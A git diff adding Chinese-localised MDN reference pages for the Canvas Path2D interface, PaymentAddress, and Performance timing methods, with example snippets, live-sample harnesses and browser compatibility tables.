+<textarea id="code" class="playable-code" style="height:220px;">
+var p1 = new Path2D();
+p1.rect(0,0,100,100);
+
+var p2 = new Path2D();
+p2.rect(0,0,100,100);
+
+var m = document.createElementNS("http://www.w3.org/2000/svg", "svg").createSVGMatrix();
+m.a = 1; m.b = 0;
+m.c = 0; m.d = 1;
+m.e = 300; m.f = 0;
+
+p1.addPath(p2, m);
+ctx.fill(p1);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 500) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-path2d-addpath", "Path2D.addPath()")}}{{Spec2('HTML WHATWG')}}Initial defintion.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatGeckoDesktop(34)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(34)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/path2d/index.html b/files/zh-cn/web/api/path2d/index.html new file mode 100644 index 0000000000..b27962c96c --- /dev/null +++ b/files/zh-cn/web/api/path2d/index.html @@ -0,0 +1,131 @@ +--- +title: Path2D +slug: Web/API/Path2D +translation_of: Web/API/Path2D +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

Canvas 2D API 的接口 Path2D 用来声明路径,此路径稍后会被{{domxref("CanvasRenderingContext2D")}} 对象使用。CanvasRenderingContext2D 接口的 路径方法 也存在于 Path2D 这个接口中,允许你在 canvas 中根据需要创建可以保留并重用的路径。

+ +

构造函数

+ +
+
{{domxref("Path2D.Path2D", "Path2D()")}}
+
Path2D 构造函数。 创建一个新的 Path2D 对象。
+
+ +

方法

+ +
+
{{domxref("Path2D.addPath()")}}
+
添加一条新路径到对当前路径。
+
{{domxref("CanvasRenderingContext2D.closePath", "Path2D.closePath()")}}
+
使笔点返回到当前子路径的起始点。它尝试从当前点到起始点绘制一条直线。 如果图形已经是封闭的或者只有一个点,那么此函数不会做任何操作。
+
{{domxref("CanvasRenderingContext2D.moveTo()", "Path2D.moveTo()")}}
+
将一个新的子路径的起始点移动到(x,y)坐标。
+
{{domxref("CanvasRenderingContext2D.lineTo()", "Path2D.lineTo()")}}
+
使用直线连接子路径的终点到 x, y  坐标。
+
{{domxref("CanvasRenderingContext2D.bezierCurveTo()", "Path2D.bezierCurveTo()")}}
+
添加一条三次贝赛尔曲线到当前路径。 该方法需要三个点。 第一、第二个点是控制点,第三个点是结束点。起始点是当前路径的最后一个点,绘制贝赛尔曲线前,可以通过调用 moveTo() 进行修改。
+
{{domxref("CanvasRenderingContext2D.quadraticCurveTo()", "Path2D.quadraticCurveTo()")}}
+
添加一条二次贝赛尔曲线到当前路径。 
+
{{domxref("CanvasRenderingContext2D.arc()", "Path2D.arc()")}}
+
添加一条圆弧路径。 圆弧路径的圆心在 (x, y) 位置,半径为 r ,根据anticlockwise (默认为顺时针)指定的方向从 startAngle 开始绘制,到 endAngle 结束。
+
{{domxref("CanvasRenderingContext2D.arcTo()", "Path2D.arcTo()")}}
+
根据控制点和半径添加一条圆弧路径,使用直线连接前一个点。
+
{{domxref("CanvasRenderingContext2D.ellipse()", "Path2D.ellipse()")}}
+
添加一条椭圆路径。椭圆的圆心在(x,y)位置,半径分别是radiusX 和 radiusY ,按照anticlockwise (默认顺时针)指定的方向,从 startAngle  开始绘制,到 endAngle 结束。
+
{{domxref("CanvasRenderingContext2D.rect()", "Path2D.rect()")}}
+
创建一条矩形路径,矩形的起点位置是 (x, y) ,尺寸为 width 和 height
+
+ +

规范描述

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-path2d", "Path2D")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("31")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
{{domxref("Path2D.addPath()")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("34")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("31")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
{{domxref("Path2D.addPath()")}}{{CompatVersionUnknown}}{{CompatGeckoMobile("34")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/path2d/path2d/index.html b/files/zh-cn/web/api/path2d/path2d/index.html new file mode 100644 index 0000000000..f606aa678d --- /dev/null +++ b/files/zh-cn/web/api/path2d/path2d/index.html @@ -0,0 +1,224 @@ +--- +title: Path2D() +slug: Web/API/Path2D/Path2D +translation_of: Web/API/Path2D/Path2D +--- +
{{APIRef("Canvas API")}}{{seeCompatTable}}
+ +

Path2D() 构造函数返回一个新的 Path2D 对象的实例,可以选择另一条路径作为参数(创建一个拷贝),或者选择 SVG path 数据构成的字符串。

+ +

语法

+ +
new Path2D();
+new Path2D(path);
+new Path2D(d);
+
+ +

参数

+ +
+
path {{optional_inline}}
+
当调用另一个 Path2D 对象时,会创建一个 path 变量的拷贝。
+
d {{optional_inline}}
+
当调用 SVG path 数据构成的字符串时,会根据描述创建一个新的路径。
+
+ +
+
+ +

示例

+ +

创建和拷贝路径

+ +

这是一段简单的代码片段,创建和拷贝 Path2D 路径。

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var path1 = new Path2D();
+path1.rect(10, 10, 100,100);
+
+var path2 = new Path2D(path1);
+path2.moveTo(220, 60);
+path2.arc(170, 60, 50, 0, 2 * Math.PI);
+
+ctx.stroke(path2);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code" style="height: 150px">
+var path1 = new Path2D();
+path1.rect(10, 10, 100,100);
+
+var path2 = new Path2D(path1);
+path2.moveTo(220, 60);
+path2.arc(170, 60, 50, 0, 2 * Math.PI);
+
+ctx.stroke(path2);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 420) }}

+ +

使用 SVG 路径

+ +

这是一段简单的代码片段,使用 SVG path data 创建一个 Path2D 路径。路径将会移动到点 (M10 10) ,然后向右侧水平移动80个点 (h 80),然后向下80个点 (v 80),然后向左80个点(h -80),最后回到起始点(z)。

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var p = new Path2D("M10 10 h 80 v 80 h -80 Z");
+ctx.fill(p);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code2
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+var p = new Path2D("M10 10 h 80 v 80 h -80 Z");
+ctx.fill(p);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code2', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'scripting.html#dom-path2d', 'Path2D()')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("31.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("31.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参见

+ + + +
 
diff --git a/files/zh-cn/web/api/paymentaddress/index.html b/files/zh-cn/web/api/paymentaddress/index.html new file mode 100644 index 0000000000..c45261b36d --- /dev/null +++ b/files/zh-cn/web/api/paymentaddress/index.html @@ -0,0 +1,125 @@ +--- +title: PaymentAddress +slug: Web/API/PaymentAddress +tags: + - API + - Interface + - NeedsTranslation + - Payment Request + - PaymentRequest + - Reference + - TopicStub + - paymentAddress +translation_of: Web/API/PaymentAddress +--- +

{{SeeCompatTable}}{{APIRef("Payment Request API")}}

+ +

The PaymentAddress interface of the Payment Request API stores address information.

+ +

Properties

+ +
+
{{domxref('PaymentAddress.country')}} {{readonlyinline}} 
+
The Common Locale Data Repository region code. For example, US, GB, CN, etc.
+
{{domxref('PaymentAddress.addressLine')}} {{readonlyinline}}
+
An array of strings describing the address. The exact size and content varies by country or location and can include, for example, a street name, house number, apartment number, rural delivery route, descriptive instructions, or post office box number.
+
{{domxref('PaymentAddress.region')}} {{readonlyinline}}
+
The top level administrative subdivision of the country, for example, a state, province, oblast, or prefecture.
+
{{domxref('PaymentAddress.city')}} {{readonlyinline}}
+
The city or town portion of the address.
+
{{domxref('PaymentAddress.dependentLocality')}} {{readonlyinline}}
+
The dependent locality or sublocality within a city, for example, a neighborhood, borough, district, or UK dependent locality.
+
{{domxref('PaymentAddress.postalCode')}} {{readonlyinline}}
+
A code used by a jurisdiction for mail routing, for example, the ZIP code in the United States or the PIN code in India.
+
{{domxref('PaymentAddress.sortingCode')}} {{readonlyinline}}
+
A postal sorting code such as is used in France.
+
{{domxref('PaymentAddress.languageCode')}} {{readonlyinline}}
+
The BCP-47 language code for the address, used to determine the field separators and the order of fields when formatting the address for display.
+
{{domxref('PaymentAddress.organization')}} {{readonlyinline}}
+
The name of the organization, firm, company, or institution at the payment address.
+
{{domxref('PaymentAddress.recipient')}} {{readonlyinline}}
+
The name of the recipient, purchaser, or contact person at the payment address.
+
{{domxref('PaymentAddress.careOf')}} {{readonlyinline}} {{obsolete_inline()}}
+
The name of an intermediary party or entity responsible for transferring packages between the postal service and the recipient.
+
{{domxref('PaymentAddress.phone')}} {{readonlyinline}}
+
The telephone number of the recipient or contact person.
+
+ +

Methods

+ +

None.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Payment','#paymentaddress-interface','PaymentAddress')}}{{Spec2('Payment')}}Initial definition.
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

{{CompatChrome(53.0)}}

+
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(53.0)}}
+
diff --git a/files/zh-cn/web/api/performance/clearmarks/index.html b/files/zh-cn/web/api/performance/clearmarks/index.html new file mode 100644 index 0000000000..5ccd6a016b --- /dev/null +++ b/files/zh-cn/web/api/performance/clearmarks/index.html @@ -0,0 +1,132 @@ +--- +title: Performance.clearMarks() +slug: Web/API/Performance/clearMarks +translation_of: Web/API/Performance/clearMarks +--- +
{{APIRef("User Timing API")}}
+ +

clearMarks() 这个方法可以从浏览器的performance entry 缓存中移除声明的标记。如果调用这个方法时没有传递参数, 则所有带有{{domxref("PerformanceEntry.entryType","entry type")}}这类标记的{{domxref("PerformanceEntry","performance entries")}} 将从 performance entry 缓存区中被移除。

+ +

用法

+ +
performance.clearMarks();
+performance.clearMarks(name);
+
+ +

参数

+ +
+
name {{optional_inline}}
+
{{domxref("DOMString")}} 表示时间戳的名字,如果没有提供这个参数, 则所有带有{{domxref("PerformanceEntry.entryType","entry type")}}这类标记的{{domxref("PerformanceEntry","performance entries")}} 将从 performance entry 缓存区中被移除。
+
+ +

返回值

+ +
+
void
+
 
+
+ +

例子

+ +

下面的例子演示clearMarks() 的两种用法。

+ +
function clear_mark(name) {
+  if (performance.clearMarks === undefined) {
+    console.log("performance.clearMarks Not supported");
+    return;
+  }
+  //移除所有标记了此名称的peformance entry
+  performance.clearMarks(name);
+}
+function clear_all_marks() {
+  if (performance.clearMarks === undefined) {
+    console.log("performance.clearMarks Not supported");
+    return;
+  }
+  //从performance 缓冲区中移除所有标记的performance entry
+  performance.clearMarks();
+}
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
说明状态备注
{{SpecName('User Timing Level 2', '#dom-performance-clearmarks', 'clearMarks()')}}{{Spec2('User Timing Level 2')}}Clarifies clearMarks().
{{SpecName('User Timing', '#dom-performance-clearmarks', 'clearMarks()')}}{{Spec2('User Timing')}}Basic definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatVersionUnknown}}411033{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(46.0)}}{{CompatVersionUnknown}}42421033{{CompatNo}}{{CompatChrome(46.0)}}
+
diff --git a/files/zh-cn/web/api/performance/clearmeasures/index.html b/files/zh-cn/web/api/performance/clearmeasures/index.html new file mode 100644 index 0000000000..66cd9b0685 --- /dev/null +++ b/files/zh-cn/web/api/performance/clearmeasures/index.html @@ -0,0 +1,134 @@ +--- +title: Performance.clearMeasures() +slug: Web/API/Performance/clearMeasures +translation_of: Web/API/Performance/clearMeasures +--- +
{{APIRef("User Timing API")}}
+ +

clearMeasures() 方法可以从浏览器的性能入口缓存区中移除声明的度量衡。如果这个方法被调用时没有传入参数,则所有 {{domxref("PerformanceEntry.entryType","entry type")}} 标记值为"measure" 的{{domxref("PerformanceEntry","性能实体")}}将被从性能入口缓存区中移除。

+ +

{{AvailableInWorkers}}

+ +

用法

+ +
performance.clearMeasures();
+performance.clearMeasures(name);
+
+ +

参数

+ +
+
name {{optional_inline}}
+
用于表述时间戳名称的 {{domxref("DOMString")}}。如果没有提供这个参数,则所有 {{domxref("PerformanceEntry.entryType","entry type")}} 标记值为"measure" 的{{domxref("PerformanceEntry","性能实体")}}将被移除。
+
+ +

返回值

+ +
+
void
+
 
+
+ +

例子

+ +

下面的两个例子演示了 clearMeasures() 的用法。

+ +
function clear_measure(name) {
+  if (performance.clearMeasures === undefined) {
+    console.log("performance.clearMeasures Not supported");
+    return;
+  }
+  // 根据给定的 name 移除所有标记类型为 "measure" 的性能入口
+  performance.clearMeasures(name);
+}
+function clear_all_measures() {
+  if (performance.clearMeasures === undefined) {
+    console.log("performance.clearMeasures Not supported");
+    return;
+  }
+  // 移除性能缓存区中所有标记类型为 "measure" 的性能入口
+  performance.clearMeasures();
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('User Timing Level 2', '#dom-performance-clearmeasures', 'clearMeasures()')}}{{Spec2('User Timing Level 2')}}Clarifies clearMeasures().
{{SpecName('User Timing', '#dom-performance-clearmeasures', 'clearMeasures()')}}{{Spec2('User Timing')}}Basic definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatVersionUnknown}}411033{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(46.0)}}{{CompatVersionUnknown}}42421033{{CompatNo}}{{CompatChrome(46.0)}}
+
diff --git a/files/zh-cn/web/api/performance/clearresourcetimings/index.html b/files/zh-cn/web/api/performance/clearresourcetimings/index.html new file mode 100644 index 0000000000..e67b1cba7b --- /dev/null +++ b/files/zh-cn/web/api/performance/clearresourcetimings/index.html @@ -0,0 +1,85 @@ +--- +title: Performance.clearResourceTimings() +slug: Web/API/Performance/clearResourceTimings +translation_of: Web/API/Performance/clearResourceTimings +--- +
{{APIRef("Resource Timing API")}}
+ +

The clearResourceTimings() method removes all {{domxref("PerformanceEntry","performance entries")}} with an {{domxref("PerformanceEntry.entryType","entryType")}} of "resource" from the browser's performance data buffer and sets the size of the performance data buffer to zero. To set the size of the browser's performance data buffer, use the {{domxref("Performance.setResourceTimingBufferSize()")}} method.

+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +
performance.clearResourceTimings();
+
+ +

Arguments

+ +
+
void
+
 
+
+ +

Return value

+ +
+
none
+
This method has no return value.
+
+ +

Example

+ +
function load_resource() {
+  var image = new Image();
+  image.src = "https://developer.mozilla.org/static/img/opengraph-logo.png";
+}
+function clear_performance_timings() {
+  if (performance === undefined) {
+    log("Browser does not support Web Performance");
+    return;
+  }
+  // Create a resource timing performance entry by loading an image
+  load_resource();
+
+  var supported = typeof performance.clearResourceTimings == "function";
+  if (supported) {
+    console.log("Run: performance.clearResourceTimings()");
+    performance.clearResourceTimings();
+  } else {
+    console.log("performance.clearResourceTimings() NOT supported");
+    return;
+  }
+  // getEntries should now return zero
+  var p = performance.getEntriesByType("resource");
+  if (p.length == 0)
+    console.log("... Performance data buffer cleared");
+  else
+    console.log("... Performance data buffer NOT cleared!");
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Resource Timing', '#dom-performance-clearresourcetimings', 'clearResourceTimings()')}}{{Spec2('Resource Timing')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Performance.clearResourceTimings")}}

+
diff --git a/files/zh-cn/web/api/performance/getentries/index.html b/files/zh-cn/web/api/performance/getentries/index.html new file mode 100644 index 0000000000..f9033d7d7a --- /dev/null +++ b/files/zh-cn/web/api/performance/getentries/index.html @@ -0,0 +1,142 @@ +--- +title: Performance.getEntries() +slug: Web/API/Performance/getEntries +translation_of: Web/API/Performance/getEntries +--- +
{{APIRef("Performance Timeline API")}}
+ +

getEntries() 对于给定的filter,此方法返回 {{domxref("PerformanceEntry")}} 对象数组. 数组成员(入口)可以在显式的时间点用 performance marks或measures 来创建(例如调用{{domxref("Performance.mark","mark()")}} 方法) .

+ +

此方法暴露给{{domxref("Window")}} 和 {{domxref("Worker")}}接口.

+ +

语法

+ +

取全部:

+ +
entries = window.performance.getEntries();
+entries = window.performance.getEntries(PerformanceEntryFilterOptions);
+
+ +

取特定:

+ +
entries = performance.getEntries({name: "entry_name", entryType: "mark"});
+
+ +

参数

+ +
+
PerformanceEntryFilterOptions {{optional_inline}}
+
+ +
+
PerformanceEntryFilterOptions 是一个带有以下键值的字典: + +
    +
  • "name",  performance entry. 的名字
  • +
  • "entryType", entry 类型. 合法的entry类型可以从{{domxref("PerformanceEntry.entryType")}} 方法获取.
  • +
  • "initiatorType", 初始化资源的类型(例如一个HTML element). 其取值被 {{domxref("PerformanceResourceTiming.initiatorType")}} 接口所定义.
  • +
+
+
+ +

返回值

+ +
+
entries
+
一个由符合filter条件的{{domxref("PerformanceEntry")}} 对象构成的数组 . 数组成员按PerformanceEntry.{{domxref("PerformanceEntry.startTime","startTime")}}时间顺序排列 . 如果没有符合filter条件的对象,那么返回空数组. 如果不带任何参数,返回全部entries.
+
+ +

Example

+ +
function use_PerformanceEntry_methods() {
+  log("PerformanceEntry tests ...");
+
+  if (performance.mark === undefined) {
+    log("... performance.mark Not supported");
+    return;
+  }
+
+  // Create some performance entries via the mark() method
+  performance.mark("Begin");
+  do_work(50000);
+  performance.mark("End");
+  performance.mark("Begin");
+  do_work(100000);
+  performance.mark("End");
+  do_work(200000);
+  performance.mark("End");
+
+  // Use getEntries() to iterate through the each entry
+  var p = performance.getEntries();
+  for (var i=0; i < p.length; i++) {
+    log("Entry[" + i + "]");
+    check_PerformanceEntry(p[i]);
+  }
+
+  // Use getEntries(name, entryType) to get specific entries
+  p = performance.getEntries({name : "Begin", entryType: "mark"});
+  for (var i=0; i < p.length; i++) {
+    log("Begin[" + i + "]");
+    check_PerformanceEntry(p[i]);
+  }
+
+  // Use getEntriesByType() to get all "mark" entries
+  p = performance.getEntriesByType("mark");
+  for (var i=0; i < p.length; i++) {
+    log ("Mark only entry[" + i + "]: name = " + p[i].name +
+         "; startTime = " + p[i].startTime +
+         "; duration  = " + p[i].duration);
+  }
+
+  // Use getEntriesByName() to get all "mark" entries named "Begin"
+  p = performance.getEntriesByName("Begin", "mark");
+  for (var i=0; i < p.length; i++) {
+    log ("Mark and Begin entry[" + i + "]: name = " + p[i].name +
+         "; startTime = " + p[i].startTime +
+         "; duration  = " + p[i].duration);
+  }
+}
+
+//entryType,name,initiatorType  Examples
+var p = performance.getEntries();
+
+var ptyps = p.map((ele) => {return(ele.entryType)});
+//Array(94) [ "navigation", "resource", "resource", "resource", "resource", "resource", "resource", "resource", "resource", "resource", … ]
+
+var pnms = p.map((ele) => {return(ele.name)});
+//Array(94) [ "document", "https://csdnimg.cn/public/static/css/avatar.css", "https://csdnimg.cn/public/common/libs/jquery/jquery-1.9.1.min.js", "https://csdnimg.cn/rabbit/exposure-click/main-1.0.5.js", "https://csdnimg.cn/release/phoenix/production/main-e96db8abdf.js", "https://csdnimg.cn/pubfooter/js/tracking-1.0.2.js", "https://csdnimg.cn/public/common/toolbar/js/content_toolbar.js", "https://csdnimg.cn/release/phoenix/production/markdown_views-ea0013b516.css", "https://csdnimg.cn/search/baidu_search-1.1.2.js?v=201802071056&autorun=true&install=true&keyword=%E5%B0%8F%E7%A8%8B%E5%BA%8F%E6%89%A7%E8%A1%8C%E9%A1%BA%E5%BA%8F", "https://csdnimg.cn/release/phoenix/production/main-f869aa95a4.css", … ]
+
+var pityps = p.map((ele) => {return(ele.initiatorType)});
+//Array(94) [ "navigation", "link", "script", "script", "script", "script", "script", "link", "script", "link", … ]
+
+Specifications
+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#dom-performance-getentries', 'getEntries()')}}{{Spec2('Performance Timeline Level 2')}}getEntries() method has an optional argument.
{{SpecName('Performance Timeline', '#dom-performance-getentries', 'getEntries()')}}{{Spec2('Performance Timeline')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.Performance.getEntries")}}

+
+
diff --git a/files/zh-cn/web/api/performance/getentriesbyname/index.html b/files/zh-cn/web/api/performance/getentriesbyname/index.html new file mode 100644 index 0000000000..aa47b35ba1 --- /dev/null +++ b/files/zh-cn/web/api/performance/getentriesbyname/index.html @@ -0,0 +1,115 @@ +--- +title: performance.getEntriesByName() +slug: Web/API/Performance/getEntriesByName +tags: + - web性能 +translation_of: Web/API/Performance/getEntriesByName +--- +
getEntriesByName()方法返回一个给定名称和name和type属性的{{domxref("PerformanceEntry")}}对象数组。在创建performance标记或在明确的时间点测量(比如手动调用{{domxref("Performance.mark","mark()")}}方法)也可以创建这样的对象数组。
+ +
+ +

在Workers中可以使用该方法。

+ +

语法

+ +
entries = window.performance.getEntriesByName(name, type);
+
+ +

参数

+ +
+
name
+
The name of the entry to retrieve.
+
type {{optional_inline}}
+
The type of entry to retrieve such as "mark". The valid entry types are listed in {{domxref("PerformanceEntry.entryType")}}.
+
+ +

Return value

+ +
+
entries
+
A list of {{domxref("PerformanceEntry")}} objects that have the specified name and type. If the type argument is not specified, only the name will be used to determine the entries to return. The items will be in chronological order based on the entries' {{domxref("PerformanceEntry.startTime","startTime")}}. If no objects meet the specified criteria, an empty list is returned.
+
+ +

Example

+ +
function use_PerformanceEntry_methods() {
+  log("PerformanceEntry tests ...");
+
+  if (performance.mark === undefined) {
+    log("... performance.mark Not supported");
+    return;
+  }
+
+  // Create some performance entries via the mark() method
+  performance.mark("Begin");
+  do_work(50000);
+  performance.mark("End");
+  performance.mark("Begin");
+  do_work(100000);
+  performance.mark("End");
+  do_work(200000);
+  performance.mark("End");
+
+  // Use getEntries() to iterate through the each entry
+  var p = performance.getEntries();
+  for (var i=0; i < p.length; i++) {
+    log("Entry[" + i + "]");
+    check_PerformanceEntry(p[i]);
+  }
+
+  // Use getEntries(name, entryType) to get specific entries
+  p = performance.getEntries({name : "Begin", entryType: "mark"});
+  for (var i=0; i < p.length; i++) {
+    log("Begin[" + i + "]");
+    check_PerformanceEntry(p[i]);
+  }
+
+  // Use getEntriesByType() to get all "mark" entries
+  p = performance.getEntriesByType("mark");
+  for (var i=0; i < p.length; i++) {
+    log ("Mark only entry[" + i + "]: name = " + p[i].name +
+         "; startTime = " + p[i].startTime +
+         "; duration  = " + p[i].duration);
+  }
+
+  // Use getEntriesByName() to get all "mark" entries named "Begin"
+  p = performance.getEntriesByName("Begin", "mark");
+  for (var i=0; i < p.length; i++) {
+    log ("Mark and Begin entry[" + i + "]: name = " + p[i].name +
+         "; startTime = " + p[i].startTime +
+         "; duration  = " + p[i].duration);
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#dom-performance-getentriesbyname', 'getEntriesByName()')}}{{Spec2('Performance Timeline Level 2')}}
{{SpecName('Performance Timeline', '#dom-performance-getentriesbyname', 'getEntriesByName()')}}{{Spec2('Performance Timeline')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Performance.getEntriesByName")}}

+
diff --git a/files/zh-cn/web/api/performance/getentriesbytype/index.html b/files/zh-cn/web/api/performance/getentriesbytype/index.html new file mode 100644 index 0000000000..e4ddbb1c09 --- /dev/null +++ b/files/zh-cn/web/api/performance/getentriesbytype/index.html @@ -0,0 +1,115 @@ +--- +title: performance.getEntriesByType() +slug: Web/API/Performance/getEntriesByType +tags: + - ZH +translation_of: Web/API/Performance/getEntriesByType +--- +
{{APIRef("Performance Timeline API")}}
+ +
getEntriesByType()  方法返回给定类型的 {{domxref("PerformanceEntry")}} 列表
+ +

The list's members (entries) can be created by making performance marks or measures (for example by calling the {{domxref("Performance.mark","mark()")}} method) at explicit points in time.

+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +
entries = window.performance.getEntriesByType(type);
+
+ +

Arguments

+ +
+
type
+
The type of entry to retrieve such as "mark". The valid entry types are listed in {{domxref("PerformanceEntry.entryType")}}.
+
+ +

Return value

+ +
+
entries
+
A list of {{domxref("PerformanceEntry")}} objects that have the specified type. The items will be in chronological order based on the entries' {{domxref("PerformanceEntry.startTime","startTime")}}. If no objects have the specified type, or no argument is provided, an empty list is returned.
+
+ +

Example

+ +
function usePerformanceEntryMethods() {
+  log("PerformanceEntry tests ...");
+
+  if (performance.mark === undefined) {
+    log("... performance.mark Not supported");
+    return;
+  }
+
+  // Create some performance entries via the mark() method
+  performance.mark("Begin");
+  doWork(50000);
+  performance.mark("End");
+  performance.mark("Begin");
+  doWork(100000);
+  performance.mark("End");
+  doWork(200000);
+  performance.mark("End");
+
